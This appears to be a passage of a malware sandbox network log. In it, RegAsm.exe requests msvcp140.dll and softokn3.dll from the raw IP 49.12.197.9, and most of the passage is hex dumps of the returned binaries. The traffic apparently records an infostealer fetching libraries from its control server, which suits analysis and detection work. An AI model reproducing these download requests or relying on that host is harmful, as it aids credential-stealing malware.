2024-10-02 03:19:35 UTC	16384	IN	Data Raw: 00 83 c4 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-10-02 03:19:35 UTC	16384	IN	Data Raw: e9 42 fd ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc Data Ascii: BH) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-10-02 03:19:35 UTC	16384	IN	Data Raw: 04 00 00 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$
2024-10-02 03:19:35 UTC	16384	IN	Data Raw: 81 8b b8 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3
2024-10-02 03:19:35 UTC	16384	IN	Data Raw: 0b 83 e1 fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-10-02 03:19:35 UTC	16384	IN	Data Raw: 10 b9 00 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49753	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:36 UTC	196	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:37 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:36 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Wednesday, 02-Oct-2024 03:19:36 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 03:19:37 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-10-02 03:19:37 UTC	16384	IN	Data Raw: 00 72 00 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 Data Ascii: r-bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mn
2024-10-02 03:19:37 UTC	16384	IN	Data Raw: 00 00 00 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-10-02 03:19:37 UTC	16384	IN	Data Raw: 18 d9 00 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]
2024-10-02 03:19:37 UTC	16384	IN	Data Raw: 6a 03 f7 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 Data Ascii: jatAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-10-02 03:19:37 UTC	16384	IN	Data Raw: 85 c0 75 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 Data Ascii: uAUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jj
2024-10-02 03:19:37 UTC	16384	IN	Data Raw: f0 51 56 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e Data Ascii: QVE_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WEN
2024-10-02 03:19:37 UTC	16384	IN	Data Raw: e8 83 fe 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4
2024-10-02 03:19:37 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv
2024-10-02 03:19:37 UTC	16384	IN	Data Raw: f6 e8 97 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49754	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:38 UTC	196	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:38 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:38 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Wednesday, 02-Oct-2024 03:19:38 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 03:19:38 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-10-02 03:19:38 UTC	16384	IN	Data Raw: 7d 08 c7 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 Data Ascii: }jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-10-02 03:19:38 UTC	16384	IN	Data Raw: 8b 40 04 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 Data Ascii: @EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGP
2024-10-02 03:19:38 UTC	16384	IN	Data Raw: f9 02 10 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
